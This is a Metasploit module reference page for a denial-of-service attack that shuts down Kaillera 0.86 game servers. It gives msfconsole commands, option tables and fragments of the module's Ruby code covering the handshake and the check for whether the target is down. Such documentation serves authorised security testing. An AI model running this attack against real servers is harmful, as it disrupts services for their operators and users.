Kaillera 0.86 Server Denial of Service - Metasploit


This page contains detailed information about how to use the auxiliary/dos/windows/games/kaillera metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Kaillera 0.86 Server Denial of Service
Module: auxiliary/dos/windows/games/kaillera
Source code: modules/auxiliary/dos/windows/games/kaillera.rb
Disclosure date: 2011-07-02
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 27888
List of CVEs: -

The Kaillera 0.86 server can be shut down by sending any malformed packet after the initial "hello" packet.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/dos/windows/games/kaillera
msf auxiliary(kaillera) > show targets
    ... a list of targets ...
msf auxiliary(kaillera) > set TARGET target-id
msf auxiliary(kaillera) > show options
    ... show and set options ...
msf auxiliary(kaillera) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the dos/windows/games/kaillera auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/windows/games/kaillera

msf6 auxiliary(dos/windows/games/kaillera) > show info

       Name: Kaillera 0.86 Server Denial of Service
     Module: auxiliary/dos/windows/games/kaillera
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-07-02

Provided by:
  Sil3nt_Dre4m

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   27888            yes       The target port (UDP)

Description:
  The Kaillera 0.86 server can be shut down by sending any malformed 
  packet after the initial "hello" packet.

Module Options

This is a complete list of options available in the dos/windows/games/kaillera auxiliary module:

msf6 auxiliary(dos/windows/games/kaillera) > show options

Module options (auxiliary/dos/windows/games/kaillera):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   27888            yes       The target port (UDP)

Advanced Options

Here is a complete list of advanced options supported by the dos/windows/games/kaillera auxiliary module:

msf6 auxiliary(dos/windows/games/kaillera) > show advanced

Module advanced options (auxiliary/dos/windows/games/kaillera):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CHOST                       no        The local client address
   CPORT                       no        The local client port
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the dos/windows/games/kaillera module can do:

msf6 auxiliary(dos/windows/games/kaillera) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the dos/windows/games/kaillera auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/windows/games/kaillera) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Connection failed

Here is a relevant code snippet related to the "Connection failed" error message:

31:	    res = udp_sock.recvfrom(15)
32:	    disconnect_udp
33:	
34:	    if res[0] =~ /HELLOD00D([0-9]{1,5})/
35:	      port = $1
36:	    else print_error("Connection failed")
37:	      return
38:	    end
39:	
40:	    # Send DOS packet
41:	    connect_udp(global = true,'RPORT' => port)

DoS attempt failed. It appears target is still up.

Here is a relevant code snippet related to the "DoS attempt failed. It appears target is still up." error message:

49:	    udp_sock.put("HELLO0.83\0")
50:	    res = udp_sock.recvfrom(15)
51:	    disconnect_udp
52:	
53:	    if res[0] =~ /HELLO/
54:	      print_error("DoS attempt failed.  It appears target is still up.")
55:	    else
56:	      print_good("Target is down")
57:	    end
58:	  end
59:	end

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See Also

Check also the following modules related to this module:

Authors

  • Sil3nt_Dre4m

Version

This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.

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